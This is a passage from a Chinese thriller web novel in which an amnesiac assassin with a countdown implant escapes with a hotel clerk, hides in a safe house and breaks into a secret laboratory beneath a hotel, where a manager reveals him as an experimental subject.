我僵硬地承受着她的拥抱和泪水,一只手依旧**警戒着冷艳和那几个**,另一只手笨拙地、轻轻地拍着她的后背。
“没事了”我低声说,声音是自己都陌生的沙哑,“能走吗?”
周玲用力点头,抹了把眼泪,挣扎着站起来,她紧紧抓住我的胳膊,仿佛是她唯一的浮木。
我护着她,慢慢退向那个我撬开的破洞入口。目光始终锁定在冷艳身上。
“这就走了吗?韩冰。”冷艳站在原地,没有阻止,只是幽幽地说,“别忘了我们的‘小礼物’,还有……阿杰先生还在外面等着给你‘颁奖’呢。”
她在提醒我
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体内的**,也在提醒我外面虎视眈眈的组织。
我没有回应。退到洞口,我先让周玲小心翼翼地钻出去,然后自己才**着,枪口依旧指着集装箱内,迅速撤离。
阿杰和他带来的黑衣武装小队,依旧呈扇形包围着集装箱,枪口森然。看到我和周玲出来,所有的枪口微微调整,焦点集中在我们身上。
阿杰站在车灯前,面容隐藏在光晕的阴影里,看不清表情。
“看来,你做出了选择,‘寒霜’。”他的声音透过扩音器传来。
“我的选择是带她离开。”我将周玲护在身后,直面阿杰,手中的平板屏幕朝向他,让他能看到那疯狂闪烁的绿点和冰冷的倒计时,“至于‘渔夫’,和这个‘礼物’,留给你们自己处理。”
阿杰的目光在平板上停留了一瞬,眼神似乎有细微的变化,但很快恢复平静。“控制器在你手里。‘渔夫’也在里面。你的任务,还未完成。”
“去**任务!”我再也抑制不住怒火,低吼道,“看清楚!这东西现在就是个不定时**!‘渔夫’在里面,你们有本事自己去抓!我现在只要带她走!”
我紧紧握着周玲的手,能感觉到她手心的冰凉和颤抖。
阿杰沉默地看着我,又看了看我身后惊恐不安的周玲,以及那个破洞隐约传来动静的集装箱。
空气中弥漫着一种微妙的平衡。阿杰或许有能力强行留下我们,但那意味着可能引爆我体内的**,意味着要和集装箱里狗急跳墙的“渔夫”及其手下火并。
几秒钟的权衡,仿佛一个世纪那么漫长。
终于,阿杰微微抬手,做了一个手势。
包围圈靠近我们这一侧的黑衣武装人员,缓缓让开了一个缺口。
“你可以走。”阿杰的声音依旧平静,“但记住,‘寒霜’,组织,会再联系你的。”
我没有丝毫犹豫,拉着周玲,迅速从那个缺口穿过,身影很快没入修船厂外围更深沉的黑暗之中。
身后,没有**,也没有追赶的脚步声。
只有海风的呜咽,以及那平板屏幕上,持续闪烁的49:40:05。
我们暂时安全了。
但更大的风暴,才刚刚拉开序幕。
第十七章 亡命之徒的喘息
黑暗是最好的庇护,也是唯一的道路。
我紧紧攥着周玲冰冷的手,几乎是将她半拖半抱着,在废弃厂区外围的碎石滩和齐腰深的荒草丛中深一脚浅一脚地狂奔。肺部火辣辣地疼,腹部的旧伤也在**着这剧烈的运动,但我不敢有丝毫停歇。
我不敢回头,但全身的感官都在向后延伸,捕捉着任何一丝可能的追踪迹象:引擎声,脚步声。
阿杰放我们离开,不代表没有后手。组织,“勋”,现在都成了索命的阎罗。我们必须尽快离开。
周玲几乎用尽了全身的力气,全靠一股求生的本能和对我毫无保留的信任在支撑。她几次差点摔倒,都被我死死拉住。她没有哭,也没有问,只是咬着苍白的下唇,努力跟上我的步伐,那双曾经清澈明亮的眼睛里,此刻只剩下劫后余生的惊恐和对前路未知的茫然。
不知跑了多久,直到肺部的灼烧感几乎让我窒息,直到身后的修船厂彻底融入夜幕,再也看不见那令人心悸的车灯光晕,我才猛地刹住脚步,将周玲拉进一丛茂密的、带着荆棘的灌木后面。
“歇……歇一下。”我压低声音,胸膛剧烈起伏,警惕地扫视着我们来时的方向。
周玲立刻瘫软下来,双手撑地,大口大口地喘着气,肩膀不受控制地颤抖着。
夜色沉寂,只有远处高速公路传来的、模糊如背景噪音的车流声。月光勉强透过云层,勾勒出荒野模糊的轮廓。
我靠在粗糙的树干上,终于有机会看向一直紧握在左手的那个平板。
屏幕依旧亮着,在黑暗中散发出幽幽的光芒。
冰冷的红色数字,无情地跳动着。旁边那个代表我体内**的绿色光点,依旧在以一种令人心悸的高频率疯狂闪烁。
冷艳最后那一下操作,就像给这死亡倒计时加上了起动器。任何剧烈的情绪波动,外部的强信号干扰……都可能提前引爆。
我下意识地深呼吸,试图平复因为狂奔而急促的心跳和翻涌的情绪。恐惧,愤怒,焦虑……这些都可能成为催命符。我必须冷静,像“寒霜”一样绝对冷静。
“韩冰……”周玲稍微缓过气,声音带着哭过后沙哑的颤抖,她抬起头,在昏暗的光线下寻找我的眼睛,“那……那个东西……是真的吗?你身体里……”
我沉默着。将平板屏幕稍稍转向她,那闪烁的绿点和倒计时就是最好的答案。
周玲的瞳孔在黑暗中放大,她猛地用手捂住了嘴,抑制住即将脱口而出的惊呼,眼泪再次无声地滑落。她看着我,眼神里充满了难以置信的心疼和恐惧。“怎么会……这样……他们到底是什么人?冷艳她……她怎么会是……”
她无法理解,无法接受这颠覆了她平凡世界的黑暗与疯狂。
“一个很危险的组织。”我言简意赅,没有过多解释“勋”和“清道夫”的纠葛,那只会让她更害怕,“冷艳是潜伏在酒店,专门针对我的。”
“针对你?为什么?”周玲的声音带着困惑和痛苦,“你……你以前到底是……”
她问出了那个最关键,我也最无法回答的问题。
我是谁?韩冰?寒霜?一个失忆的**,一个被植入**的棋子,一个双手沾满血腥,却渴望抓住一缕阳光的亡命之徒。
我看着她在月光下显得格外苍白脆弱的脸,那双曾经照亮我混沌世界的眼睛,此刻盛满了泪水和对真相的渴求。我张了张嘴,却发现任何关于过去的解释都显得如此苍白和残忍。
告诉她,救她回来的,是一个可能双手沾满无辜者鲜血的刽子手?
“我……不记得了。”最终,我只能重复这个苍白的事实,避开了她的目光,“我只知道,我现在必须想办法解决这个麻烦,然后……带你离开这里,越远越好。”
这是我能给出的,最真实的承诺,也是支撑我继续走下去的唯一信念。
周玲看着我,沉默了。她似乎从我回避的眼
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神和紧绷的下颌线中读出了更多难以言说的沉重。她没有再追问,只是伸出手,轻轻握住了我紧握成拳、微微颤抖的右手。
她的手很小,很凉,却带着一种奇异的、温暖的力量。
“我相信你。”她轻声说,声音虽然微弱,却异常坚定,“不管你是谁,不管你以前做过什么,我认识的韩冰,是会保护我,会帮我浇花,会在我被欺负时默默站在我身边的人。”
我的心像是被什么东西狠狠撞了一下,酸涩而胀痛。她的信任,在此刻,比任何武器都更具力量,也……更让我感到无地自容。
我握住了她冰凉的手指,用力攥紧,仿佛要将那份温暖和信任融入自己的骨血。
“我们得走了。”我强迫自己从这短暂的情绪波动中抽离,重新变得冷静,“这里还不安全。”
阿杰和“勋”的人肯定在所有的交通枢纽和可能落脚点布下了天罗地网。
我们需要一个绝对隐蔽,能暂时喘息的地方。
我的脑中,那些属于“寒霜”的、关于城市阴暗面地图的记忆碎片,开始自动拼接。下水道网络?废弃的地铁隧道?还是……
一个地点跳了出来:位于城市边缘,靠近货运铁路线的一片待拆迁的城中村。那里人员复杂,流动性大,管理混乱,而且存在着大量非法租赁和不需要登记身份的短租屋。更重要的是,那里有一个“寒霜”或者说组织以前可能使用过的、极其隐秘的安全屋坐标。
就去那里!
我护着周玲,再次踏入漆黑的荒野,朝着那片混乱而危险的区域潜行。
这一次,我们的脚步不再像刚才逃命时那样慌乱,而是带着一种孤注一掷的、亡命之徒的决心。
夜空下,两个相互依偎的身影,渺小如尘,却顽强地向着未知的、危机四伏的黑暗深处移动。
平板屏幕上,那冰冷的数字,依旧在无声地跳动:
时间,是这个世界上,最冷酷的敌人。
第十八章 阴影中的巢穴
城市边缘在这片城中村却仿佛被时光遗忘,依旧沉浸在一种破败而潮湿的昏暗里。狭窄的巷弄如同迷宫,两侧是密密麻麻、见缝插针建起的老式楼房,墙壁上布满斑驳的污渍和层层叠叠的小广告。
我带着周玲,在这片钢筋水泥的丛林缝隙间穿行。我依循着脑中那个模糊的坐标,避开早起的老人、打着哈欠开门的早餐摊主,以及那些眼神浑浊、无所事事的路人。
周玲紧紧跟在我身后,一只手死死攥着我的衣角,另一只手下意识地捂着长时间的奔跑和紧张让她有些脱力的小腹,她不再像之前那样频繁落泪,但脸色依旧苍白得吓人,眼神里充满了对周围环境的陌生和恐惧。
“快到了。”我低声说,更多是在安抚她,也是在提醒自己保持警惕。
最终,我们在一条最狭窄、几乎仅容一人通过的死胡同尽头停下。面前是一栋看起来摇摇欲坠的三层小楼,楼道的铁门锈迹斑斑,虚掩着,里面黑洞洞的,散发着霉味。
三楼最里面那个房间。
我们没有立刻进去,而是拉着周玲退到巷口一个早点摊的塑料棚后面,目光却如同鹰隼般,仔细扫视着小楼的入口、窗户,以及周围可能存在的监视点。
十分钟过去了。除了一个趿拉着拖鞋下楼买早点的租客,再无其他动静。没有可疑车辆,没有徘徊的身影,楼内也没有任何异常的声响。
但这并不能完全排除危险。
“在这里等我。”我对周玲说,将那个死亡平板塞进她手里,“如果……如果上面那个绿点变红,或者有任何人靠近你,别管我,立刻跑,混进人群里,越远越好。”
周玲看着手里的平板,手抖了一下,但她用力咬住下唇,重重地点了点头,眼神里有一种破釜沉舟的坚定:“你小心。”
我拍了拍她的肩膀,转身,像一道影子般溜进了那栋破楼。
楼道里光线昏暗,堆满了杂物。我避开那些可能发出声响的垃圾,脚步轻得像猫,无声无息地摸上三楼。走廊尽头那扇暗红色的木门,看起来和其他的门并无什么区别,甚至连门牌号都模糊不清。
但我注意到,门锁的位置很新,是一种高级的电子密码锁,与这破败的环境格格不入。
我尝试着输入了货柜的密码:770814。
“嘀”一声轻响,绿灯亮起,锁开了。
推开门,一股沉闷的、带着灰尘和一丝若有若无消毒水味道的空气扑面而来。房间里没有窗户,一片漆黑。我反手关上门,靠在门板上,同时耳朵捕捉着房间内任何细微的动静。
我摸索着墙壁,找到了开关。
一盏功率不大的白炽灯在屋顶亮起,照亮了这个安全屋的全貌。
房间不大,约莫十平米。陈设极其简单,一张行军床,一张金属桌子,一把椅子。墙壁是光秃秃的水泥,地面铺着廉价的塑料地板革。角落里有一个小型的便携式冰箱,旁边堆着几箱压缩饼干和瓶装水。
标准的临时安全屋配置,功能性强,毫无舒适度可言。
我的目光快速扫过。桌子上放着一台处于休眠状态的笔记本电脑,旁边是一个黑色的急救箱。墙壁上有一个不起眼的金属面板,似乎是某种独立供电或通讯接口。
最重要的是,这里看起来没有被闯入或搜查过的痕迹。
我稍微松了口气,走到桌边,打开那个黑色的急救箱。里面果然不仅仅是绷带和碘伏,上层是常规药品,下层则整齐地摆放着手术用的医疗器械,甚至还有几支未经标识的强效镇静剂和肾上腺素。
这完全是按照应对重伤甚至自行处理枪伤的标准配置的。
我拿出碘伏和纱布,简单处理了一下腹部的伤口,幸好没有裂开。然后又拿了几瓶水和一些高能量的压缩食品。
做完这些,我才拿起那台笔记本电脑。按下电源键,屏幕亮起,没有密码,直接进入了系统。桌面很干净,只有几个必要的工具软件和一个加密的文档库。
我尝试用770814密码访问文档库,成功了。
里面存储着一些标注了隐秘路径和监控盲的城市地图和几种常见监视和反监视设备的说明,以及几份……关于“意外死亡”现场环境分析和清理要点的文档。
冰冷的文字和图表,像一把钥匙,再次试图撬动我记忆深处那些被封存的黑暗。
现在不是探究过去的时候。
我检查了房间的独立供电系统,确认运行正常。又检查了那个墙壁上的金属面板,确认是一个高增益的卫星信号接收器,可以确保在这里与外界进行相对安全的通讯。
这里,暂时是安全的。一个位于阴影之中的,亡命之徒的巢穴。
我收拾好东西,重新锁好门,悄无声息地下了楼。
周玲还等在早点摊后面,看到我出来,明显松了口气,快步迎了上来。
“怎么样?”
“暂时安全。”我简短地回答,接过她手中的平板。
48:51:17
时间又少了一个多小时。
“我们上去。”我护着她,再次走进那栋破楼,回到了三楼那个房间。
当周玲走进这个冰冷、简陋、毫无生气的安全屋时,我清楚地看到她眼底闪过一丝不适和……怜悯。她看了看那张硬邦邦的行军床,看了看那些冰冷的压缩食品,最后目光落在我身上,轻声问:“你以前……就住在这种地方吗?”
我沉默着,无法回答。也许“寒霜”确实习惯于这种环境,但此刻站在这里的韩冰,却感到一种莫名的刺痛。
“先吃点东西,休息一下。”我岔开话题,递给她水和饼干,“我们需要制定下一步计划。”
周玲小口小口地吃着压缩饼干,虽然难以下咽,但她没有抱怨。她坐在行军床上,环顾着这个狭小压抑的空间,最后目光定格在桌子上那台电脑和旁边的急救箱上。
“韩冰,”她抬起头,看着我,眼神清澈而坚定,“告诉我,我能做什么?我不想……不想只是拖累你。”
我看着她在昏暗灯光下显得格外认真的脸庞,心中五味杂陈。她本不该卷入这一切,此刻却想着如何帮我。
“你照顾好自己,就是对我最大的帮助。”我说,语气带上一丝柔和,“还有……帮我留意这个。”我指了指那个平板,“如果它有任何异常,立刻告诉我。”
周玲用力点头,将平板紧紧抱在怀里,仿佛那是什么重要的使命。
我走到电脑前,连接上卫星信号。现在,我需要知道外面发生了什么。林振涛是生是死?阿杰和“勋”接下来会有什么动作?还有冷艳提到的“巢穴”和“主控终端”……
网络接入。我避开了所有常规的新闻网站和搜索引擎,直接进入了几个需要特定权限才能访问的、游走在灰色地带的加密信息论坛和情报交易平台。
手指在
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键盘上飞舞,属于“寒霜”的搜索和筛选本能再次苏醒。
几条用暗语标注的、刚刚更新的信息,引起了我的注意。
关于振涛集团董事长林振涛:消息确认,他在昨天的袭击中,肩膀中弹,非致命伤,但受到严重惊吓,目前已转入一家私人疗养院,安保等级提升至最高。袭击被定性为“商业竞争对手雇佣境外**所为”,警方正在“全力调查”。
官方说辞。掩盖了“勋”和组织的存在。
关于昨晚蓝港湾修船厂的事件没有任何公开报道。仿佛从未发生。无论是组织还是“勋”,都有能力将这种事抹得一干二净。
最后,我在一个极其隐蔽的、需要三重跳转才能进入的悬赏板块,看到了一条刚刚发布不久的信息:
【高价求购】目标:‘寒霜’,携带的特定电子设备。提供有效线索者,重酬。联系方式:加密频道****。
发布者匿名。但意图很明显,“勋”在找我,或者说,在找冷艳留下的这个平板,这个能监控甚至可能引爆我体内**的钥匙。
他们急了。
我关掉网页,靠在冰冷的金属椅背上,揉了揉眉心。
林振涛没死,我的任务理论上还在。但组织给我的七十二小时,和体内**的四十九小时,现在只剩四十八小时多,像两把架在脖子上的刀。
冷艳的话回荡在耳边,找到“勋”的巢穴,拿到主控终端。
这像是一个唯一的生路,但更像是一个通往更深处地狱的邀请。
“勋”的巢穴……会在哪里?
我闭上眼,手指无意识地摩挲着耳垂,试图从一片空白的记忆和纷乱的信息中,抓住那一丝可能的线索。
冷艳……“渔夫”……她潜伏在周玲身边……酒店……
等等!
酒店!
周玲工作的“悦然”商务酒店!那里人员复杂,流动性大,而且是冷艳能够长期、合理潜伏的地点!有没有可能……那里就是“勋”的一个据点,或者至少是一个重要的信息中转站?!
这个念头如同闪电划过脑海!
我猛地睁开眼,看向坐在床边依旧紧紧抱着平板的周玲。
“周玲,”我问道:“‘悦然’酒店,除了客房,还有什么不对外开放的区域吗?比如……地下室,废弃的仓库,或者……管理特别严格的楼层?”
周玲被我问得一愣,仔细回想了一下,说道:“有……有个地下二层,好像是以前做仓库用的,后来听说有些设备间也在那里,平时都不让员工下去的,钥匙只有工程部和几个高层经理有。”
地下二层!设备间!高层经理!
冷艳作为前台主管,完全有可能接触到钥匙或者找到办法进入!
一股冰冷的寒意和一丝抓到线索的兴奋同时涌上心头。
难道,“勋”的巢穴,或者说那个存放着主控终端的“巢穴”,就在那家看似普通的商务酒店的地下?!
这太疯狂了!但也正因如此,才更可能出乎所有人的意料!
“韩冰?”周玲看着我骤然变化的脸色,担忧地问,“你想到什么了?”
我看着屏幕上跳动的48:45:11,又看了看周玲苍白却坚定的脸。
下一个目标,明确了。
悦然酒店,地下二层。
我必须去那里,在时间耗尽之前,找到那一线生机。
而这一次,或许需要周玲的帮助。
第十九章 重返险地
安全屋内,时间仿佛被那平板屏幕上跳动的红色数字拉扯着,每一秒都沉重无比。
48:45:11
48:45:10
……
周玲听我提到悦然酒店的地下二层,初时是困惑,随即像是想到了什么,“那里……我记得有一次送错单据,想从内部楼梯下去,被保安拦住了,态度很强硬。说是里面有高压设备和重要服务器,闲人免进。”她顿了顿,回忆着,“而且,冷艳……她以前好像抱怨过,说酒店管理层神神秘秘,有些区域连她这个主管都不能随便进,尤其是地下部分。”
疑点越来越多了。一个商务酒店的地下设备层,需要如此严密的看守?连主管级别都受限?
这不合常理。尤其是在知道了冷艳就是“渔夫”之后,这种不合常理,就变成了指向阴谋的箭头。
“我们需要进去。”我看着周玲,语气非常坚定,这不是商量。
周玲眼中闪过一丝恐惧。那是她工作的地方,曾经只是平凡生活的一部分,如今却可能藏着致命的危险和颠覆她认知的黑暗。但当她迎上我决绝的目光,感受到手中平板那冰冷的触感时,那份恐惧被一种更坚定的东西压了下去。
“我能做什么?”她问,声音不大,却带着破釜沉舟的勇气。
“酒店的平面图,保安的巡逻规律,内部员工的通行权限……任何你知道的细节。”我快速说道,“还有,有没有不通过前台和主要通道,能进入地下二层的方法?通风管道?维修通道?”
周玲仔细思索着,手指无意识地绞在一起。“平面图……我好像在后勤部办公室见过一张旧的。保安一般是两小时巡逻一次公共区域,但地下层……我不太清楚。”她努力回忆着,“至于其他通道……垃圾清运通道!酒店后巷有一个专门的垃圾压缩站,那里好像有一个直接通往地下车库和下层设备区的斜坡和铁门,平时锁着,但……钥匙可能挂在后勤部的钥匙板上?”
垃圾通道!这通常是最容易被忽视,也是安保相对薄弱的后勤区域!
“后勤部钥匙板?你能拿到吗?”
周玲犹豫了一下:“后勤部的王主管人挺好,但钥匙板他看得很紧……不过,他中午有固定去员工食堂吃饭的习惯,办公室会锁门,但……我知道有个保洁阿姨有时候会把备用钥匙放在门口脚垫下面,为了方便自己进去拿东西……”
一个机会!虽然冒险,但值得一试。
“好。我们中午行动。”我做出决定,“你需要回去一趟,拿到钥匙,然后我们在后巷垃圾站汇合。”
“回去?”周玲身体微微一颤。酒店对她而言,此刻无异于龙潭虎穴。
“必须回去。只有你能在不引起太大怀疑的情况下接近后勤部。”我按住她的肩膀,“拿到钥匙就立刻离开,不要停留,不要和任何人多说话,尤其是……任何可能和冷艳有关的人。”
周玲深吸一口气,重重地点了点头。“我……我知道了。”
我们没有时间制定更完美的方案。每一分钟的流逝,都意味着我离死亡更近一步。
我们简单吃了点压缩饼干,补充体力。我再次检查了装备,枪,**,备用弹匣,还有那台可能关乎生死的平板。我将平板塞进背包最里层,用衣物包裹好。
上午十一点,城中村开始苏醒,人声渐杂。我们混在出门的人流中,离开了安全屋。我给了周玲一些现金,让她打车回酒店附近,自己则选择不同的路线,徒步前往悦然酒店后巷区域。
我必须先于她到达,侦查环境,排除一切可能存在的危险。
正午的阳光有些刺眼,但与我所处的黑暗相比,微不足道。我绕到悦然酒店的后巷,这里与光鲜的前门判若两地。堆积的黑色垃圾袋散发着异味,偶尔有穿着保洁制服的人推着车进出。那扇通往地下区域的厚重铁门,就在垃圾压缩站旁边,紧闭着,上面挂着一把看起来相当结实的铜锁。
我隐藏在对面一栋建筑楼梯口的阴影里,如同潜伏的猎豹,目光锐利地扫视着后巷的每一个角落,每一个进出的人。没有发现明显的监视者,但仍不敢掉以轻心。
时间一分一秒过去。距离周玲预计行动的时间越来越近。
我的心脏不受控制地加快了跳动,不仅仅是因为对计划的担忧,更因为体内那颗**似乎对情绪的波动更加敏感,我能隐约感觉到一种难以言喻的、仿佛低频震动般的不适。
终于,在十二点过十分左右,周玲的身影出现在了后巷的入口。她换上了一套普通的休闲服,戴着顶鸭舌帽,帽檐压得很低,手里提着一个看起来像是外卖的袋子,步伐匆匆。
她快速扫视了一眼后巷,然后径直走向后勤部那扇位于垃圾站另一侧一个小拐角的后门。
我的目光紧紧跟随着她的背影。
她走到门边,装作系鞋带,快速而隐蔽地摸索了一下门边的脚垫……然后,我看到她手指从脚垫下抽出了一把银色的钥匙!
成功了!
她迅速起身,用钥匙打开后勤部的门,闪身进去。
整个过程不过十几秒。
我紧紧盯着那扇重新关上的门,等待着。每一秒都充满了煎熬。
大约三分钟后,门再次被推开,周玲闪了出来,迅速锁好门,将钥匙放回原处。她手里已经没有了那个外卖袋,而是紧紧攥着另一把看起来更老旧、带着锈迹的钥匙:垃圾通道铁门的钥匙!
她快步向我藏身的方向走来,脚步有些虚浮,额角带着细密的汗珠。
我立刻从阴影中现身,迎了上去。
“拿到了?”我低声问,同时警惕地观察着她身后的情况。
周玲用力点头,将那把锈迹斑斑的钥匙塞进我手里,声音带着完成任务的虚脱和后怕:“拿到了……里面没人,我很快找到了。”
“很好。”我握紧钥匙,冰凉的金属触感让我精神一振,“我们进去。”
没有时间庆祝这小小的成功。我拉着周玲,迅速来到那扇厚重的铁门前。钥匙插入锁孔,有些涩,我用力拧动。
“咔哒。”
锁开了。
我深吸一口气,猛地拉开铁门。一股更加浓重的、混合着霉味、机油味和垃圾腐臭的气浪扑面而来。门后是一条向下的、昏暗的混凝土斜坡,墙壁上挂着湿漉漉的苔藓,只有几盏瓦数极低的白炽灯提供着可怜的照明。
通道深处,一片漆黑,仿佛
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通往未知的深渊。
“跟紧我。”我低声对周玲说,率先踏入了这条充满未知危险的通道。
周玲紧紧跟在我身后,手不自觉再次抓住了我的衣角。
铁门在我们身后缓缓关上。
我们沿着斜坡向下,脚步声在狭窄的空间里产生回响。空气越来越潮湿阴冷。走了大概几十米,斜坡尽头是一小片相对开阔的区域,旁边堆放着一些废弃的酒店桌椅和损坏的电器。正前方,则是一扇看起来更为厚重、带着电子门禁的金属门。
门上没有任何标识。
就是这里了。
悦然酒店,地下二层。隐藏着“勋”组织秘密的巢穴入口。
我尝试着推了推那扇金属门,纹丝不动。电子门禁面板闪烁着微弱的红光,需要密码或者权限卡。
硬闯显然不行。
我的目光落在周围堆积的杂物上,又看了看门禁面板的布线……或许,可以从这里想办法。
“需要密码或者卡……”周玲看着门禁,声音带着失望。
“不一定。”我蹲下身,仔细检查门禁面板周围的墙壁和线槽。这种老式建筑后期加装的电子门禁,布线往往不会特别隐蔽。
果然,在门框边缘一个不起眼的角落里,我找到了一束从墙壁里引出,连接门禁主机的线缆。
我拔出**,小心翼翼地割开蛇皮管,露出了里面颜色各异的电线。
“你要干什么?”周玲紧张地问。
“碰碰运气。”我沉声道。记忆中关于基础电路和简单门禁系统bypass的知识碎片浮现出来。我需要找到供电线和信号线……
就在我全神贯注试图分辨那些电线时,身后的斜坡上方,突然传来了铁门被推开时刺耳的“嘎吱”声!
有人来了!
我和周玲同时一惊!
我猛地起身,将她拉到自己身后,掏出**,枪口对准斜坡上方!
昏暗的光线下,一个穿着酒店工程部制服、戴着眼镜、身材微胖的中年男人走了下来,手里还拿着一个工具箱。他看到我们,显然也愣住了,尤其是看到我手中的枪时,脸上瞬间失去了血色,工具箱“哐当”一声掉在地上。
“你……你们是谁?!怎么进来的?!”他结结巴巴地问道,身体僵硬,不敢动弹。
然而,还没等我有所动作,那个工程部男人看着我们,尤其是看着被我护在身后的周玲,像是突然认出了她,眼神变得极其古怪,混合着惊讶和一种……难以言喻的诡异。
“周……周玲?”他声音干涩,“你……你怎么会和他在一起?冷主管她……”
他的话戛然而止,因为他看到了我眼中骤然爆发的、毫不掩饰的杀意。
而就在他提到“冷主管”三个字的瞬间,我身后那扇原本紧闭的、带着电子门禁的厚重金属门,突然发出“嘀”的一声轻响。
门禁面板上的红光,熄灭了。
紧接着,是门锁内部机械运转的、“咔哒”一声清晰的解锁声。
门……自己开了。
一条缝隙,透出里面更加明亮、却同样冰冷的光线。
仿佛有一只无形的眼睛,一直在黑暗中注视着我们。
欢迎的仪式,已经准备好……
第二十章 巢穴深处
时间仿佛在那一刻被拉长,又骤然收紧。
身后金属门解锁的“咔哒”声,如同丧钟敲响在死寂的通道里。面前是吓得魂不附体、瘫软在地的工程部男人,
没有犹豫的时间!
我猛地转身,将周玲往旁边堆积的废弃桌椅后一推!“躲好!别出来!”
几乎在同一时间!
“砰!砰!”
两发点射,不是射向洞开的门内,而是精准地打碎了斜坡上方通道入口处,那两盏仅有的、提供微弱照明的白炽灯!
“啪!啪!”
玻璃碎裂声响起,碎片如雨落下。整个斜坡通道瞬间陷入一片伸手不见五指的漆黑!只有身后那扇金属门缝隙里透出的光线,像地狱裂开的一条缝。
“啊——!”工程部男人的惊叫声在黑暗中显得格外凄厉。
“闭嘴!”我低吼道,身体紧贴着冰冷的墙壁。
黑暗是我的朋友,也是我唯一的屏障。
门内没有立刻传来**或脚步声。
他们在等什么?等我们进去?还是在黑暗中锁定我们?
我屏住呼吸,耳朵捕捉着任何一丝声响。门内似乎有极其轻微的、类似服务器运行的嗡嗡声,还有……某种规律的、低沉的滴答声?像是……某种仪器的节奏?
不能再等了!
我深吸一口气,如同猎豹般从墙边蹿出,没有直接冲进门内,而是利用黑暗和对方可能存在的视觉适应期,一个翻滚,贴近了门框的另一侧。
依旧没有遭遇攻击。
我迅速探头,向门内瞥了一眼。
门内是一条明亮、墙壁是冷白色金属材质的走廊。
陷阱?还是对方人手不足?
顾不上那么多了!
我回身,对着周玲藏身的方向低喝:“跟上!紧贴墙,快!”
然后,我不再迟疑,侧身闪入了那条明亮的走廊,枪口始终指向走廊尽头可能的威胁方向。
周玲也鼓起勇气,从废弃桌椅后冲出,踉跄着跟了进来,紧紧贴在我身后的墙壁上,身体因为恐惧而微微发抖。
我一脚将身后那扇厚重的金属门踹得关上,沉重的闭合声回荡在走廊里,暂时隔绝了外面那个工程部男人可能带来的麻烦,也……断绝了我们唯一的退路。
我们被困在了这里。在这个可能是“勋”组织巢穴的核心地带。
走廊里异常安静,只有那低沉的嗡嗡声和规律的滴答声更加清晰。
我护着周玲,沿着走廊小心翼翼地向尽头移动。脚步放得极轻,枪口不断扫视着前方和两侧。
走廊两侧是光秃秃的金属墙壁,没有门,也没有任何标识。
来到走廊尽头,向右拐弯。
眼前的景象,让我的呼吸为之一窒。
拐角后面,不再是一条狭窄的走廊,而是一个相对开阔的空间,像是一个……监控中心,或者实验室的前厅。
面积不大,约莫三四十平米。正对着我们的是一整面墙的监控屏幕,至少二十多个分屏,显示着酒店各个角落的实时画面:大堂、走廊、电梯间,甚至……包括我们刚刚经过的那个垃圾通道斜坡入口!那个工程部男人正连滚带爬地向上逃窜!
我们的一举一动,果然一直在监视之下!
屏幕墙下方,是一排控制台,上面布满了按钮、旋钮和指示灯,此刻空无一人。
而在房间的左侧,则是一扇厚重的、带着圆形观察窗的气密门,像是银行金库或者高科技实验室的门。那规律的“滴答”声,正是从这扇门后传来,更加清晰可辨。
主控终端……很可能就在那扇门后面!
“在那里……”周玲也看到了那扇门,声音带着颤音,指向屏幕墙下方控制台的一个角落。
那里,放着一个与我们手中平板造型类似,但体积更大、接口更多、屏幕也更复杂的黑色设备。它连接着控制台,屏幕上流动着复杂的数据流和波形图。
而在那些数据流的中央,一个无比醒目的、与我和周玲手中平板屏幕上完全一样的绿色光点,正在疯狂闪烁着!旁边同样是一个红色的倒计时:
48:01:33
这就是主控终端!能监控甚至控制我体内**的源头!
找到了!
狂喜只持续了不到半秒,就被巨大的危机感取代。
这里太空了。除了我们,空无一人。
“勋”的人呢?冷艳呢?他
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们费尽心思把我们引到这里,绝不可能只是为了让我们来自取灭亡。
这是一个请君入瓮的死局!
“嗡——”
就在此时,那扇气密门突然发出一阵低沉的气流声,门上的红色指示灯转变为绿色。
“咔。”
门锁解开了。
它,自己打开了。
仿佛门后的存在,已经等待多时。
门后的空间,因为观察窗的角度,只能看到一部分,似乎是更多的仪器和设备,闪烁着各色指示灯。
而那规律的“滴答”声,此刻如同放大了数倍,清晰地、不紧不慢地,从门后传来,敲击在我的心脏上。
没有退路了。
我握紧了手中的枪,看了一眼身旁脸色惨白但眼神决绝的周玲,又看了一眼屏幕上那个疯狂闪烁的、代表我生命的绿色光点。
然后,我迈出了脚步,走向那扇洞开的、通往最终答案,也可能通往最终毁灭的气密门。
周玲紧紧跟随着我。
我们一步步,踏入了门后的空间。
门内,是一个比前厅稍大一些的实验室。正中央,摆放着一个类似医疗手术台的设备,周围环绕着各种闪烁着幽光的显示屏和精密的机械臂。空气中消毒水的气味更浓。
而最引人注目的,是坐在手术台旁边一张转椅上,背对着我们的一个人。
那人穿着白色的实验袍,头发梳理得一丝不苟。
听到我们的脚步声,转椅缓缓地转了过来。
露出一张我绝对没有想到会在这里见到的、带着温和笑容的、熟悉的脸。
酒店工程部,那个看起来人畜无害、微微发胖的王主管。
他推了推鼻梁上的金丝眼镜,镜片后的目光锐利而冰冷,与平日里那副老好人的形象判若两人。
他看着我们,特别是看着我,嘴角勾起一丝满意的弧度,声音平和,却带着掌控一切的傲慢:
“欢迎光临,韩冰先生。或者,我该称呼你……实验体‘寒霜’,七号?”
他的目光扫过我,最终落在周玲身上,笑容变得意味深长。
“还有你,周玲小姐。感谢你,完美地完成了‘载体’的输送任务。”
第二十一章 冰冷的真相
时间仿佛在这一刻被彻底冻结。
王主管,这个平日里在酒店后勤部笑眯眯、被员工私下里认为有些懦弱的老好人,此刻穿着洁白的实验袍,坐在这个充满冰冷科技感的秘密实验室里,
实验体‘寒霜’,七号。
载体。
这两个词像两颗冰锥,狠狠扎进我的大脑,引发一阵剧烈的、带着撕裂感的刺痛!一些更加混乱、更加破碎的画面如同决堤的洪水般冲击着我的意识,惨白的无影灯,冰冷的金属束缚带,注射器的针头,还有……各种嘈杂的、意义不明的电子音和指令……
“啊……!”我忍不住发出一声压抑的痛哼,身体晃了一下,手中的枪差点脱手。我用力甩了甩头,试图驱散那些令人窒息的幻象,枪口却依旧死死对准王主管,声音因为极致的愤怒和混乱而扭曲:“你……你说什么?!什么实验体?!什么载体?!”
周玲更是如遭雷击,她难以置信地看着王主管,又看了看痛苦不堪的我,脸色惨白如纸,嘴唇颤抖着:“王……王主管?你……你在说什么?什么载体?我……我输送了什么?”
王主管,或者说,这个隐藏在工程部主管身份下的“博士”,对于我们的反应似乎非常满意。他悠闲地靠在转椅上,双手交叉放在腹部,镜片后的目光带着一种研究者审视小白鼠般的冷静和……狂热。
